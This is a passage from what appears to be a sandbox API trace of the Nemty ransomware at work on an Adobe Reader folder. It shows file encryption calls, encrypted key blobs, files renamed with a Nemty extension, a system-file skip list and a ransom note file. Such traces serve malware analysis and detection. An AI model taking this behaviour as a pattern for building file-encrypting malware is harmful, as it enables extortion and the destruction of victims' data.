[0177.339] GetLastError () returned 0x0 [0177.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.339] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0177.339] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0177.339] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0177.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0177.339] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="QlGf5deQT3FKXCPADHdlma2AMAdbjNRQLMLpZF9Y805EIsVjLsjpwSebExuzcmIQ\r\n/1I1HoYreZTQ1mw6gnZUDlqEgF4eZXgutvvEFnRQiyJFrUPjOJxZZ3gfrKAAduFL\r\nGZtt4r/lrs9i8zKfBJNCLwP6bN/goXqk3Srlv14xj5KIAcQrR3jgHHDbTTkfNwvc\r\nj7O01Ip2pMIq4v59G97lwUUeR/BNnCO4DkJh0vrmDF77BY8RTTCokPU0ywN1dOFp\r\nUPQKxBIl0n0mDjClVky2EEB7p59QD/oFLfs/K+AUKvwj/EEj7WU73EaBQ2dYyX3L\r\nfv0Vax0K+YE80Mq8gWZZmg==\r\n", pcchString=0x653e29c) returned 1 [0177.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0177.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0177.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.339] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0177.340] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=230) returned 1 [0177.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0177.340] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.340] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0177.341] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.341] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0177.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0177.341] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=230, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6 [0177.341] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0177.341] CloseHandle (hObject=0x2f0) returned 1 [0177.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0177.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0177.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0177.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0177.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.342] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0177.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0177.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0177.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0177.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.343] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d5490f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1d5490f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d5490f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0177.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0177.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0177.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0177.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0177.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0177.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0177.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0177.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0177.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0177.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0177.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0177.343] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0177.344] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0177.344] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0177.344] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0177.344] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0177.344] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0177.344] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0177.344] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0177.344] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0177.344] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0177.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0177.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0177.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0177.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.345] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d5490f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1d5490f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d5490f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0177.345] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0177.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.345] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.FRA", cAlternateFileName="")) returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2=".") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="..") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="...") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="windows") returned -1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="rsa") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="NTDETECT.COM") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="ntldr") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="MSDOS.SYS") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="IO.SYS") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="boot.ini") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="boot.ini") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="ntuser.dat") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="desktop.ini") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="CONFIG.SYS") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="RECYCLER") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="bootmgr") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="programdata") returned 1 [0177.345] lstrcmpiW (lpString1="Spelling.FRA", lpString2="appdata") returned 1 [0177.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.FRA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.FRA", lpUsedDefaultChar=0x0) returned 12 [0177.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.FRA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.FRA", lpUsedDefaultChar=0x0) returned 12 [0177.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.FRA", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.FRA", lpUsedDefaultChar=0x0) returned 12 [0177.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.FRA", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.FRA", lpUsedDefaultChar=0x0) returned 12 [0177.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.346] Sleep (dwMilliseconds=0x5) [0177.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d5bb510, dwHighDateTime=0x1d561e8)) [0177.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d5bb510, dwHighDateTime=0x1d561e8)) [0177.354] GetLastError () returned 0x12 [0177.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.355] GetLastError () returned 0x12 [0177.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.355] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.355] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.355] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.355] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ZM8k2OCJgfNpEMFS4/ualJvSJ1SB4bjwnP80J8Q9B/KThkhkwQ0iuWw99AeAaUKn\r\n0yzoa4JgTIGCGDSYKR10cg7LBOyg5649Xq/VUcvwLHxfs516s6xZDdh4JeldzEAQ\r\njBrKmzc0HZyWf8OOtHo7k7/Jk5khqnZ9nHn38zMkYhVqQOLCh8VZOOIqjMUM8SY2\r\nx0q1HMgnQjr66txgwdbbI3jUwHu93CzGPWX99unBbRQi5KL1ZmmUvHxQTST2jnc9\r\ny9LWucdgYcXplxVu3NYFEfuouwY4gPAqFzvaQaKqmwKPzG1Q6oBEOG21isYn09Yi\r\nLcOuPDcL3VvLnHUVwJkIwA==\r\n", pcchString=0x653e5dc) returned 1 [0177.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.355] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Spelling.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\spelling.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.355] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0177.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0177.356] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.356] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0177.360] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.360] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0177.360] HeapFree (in: hHeap=0x4f90000, 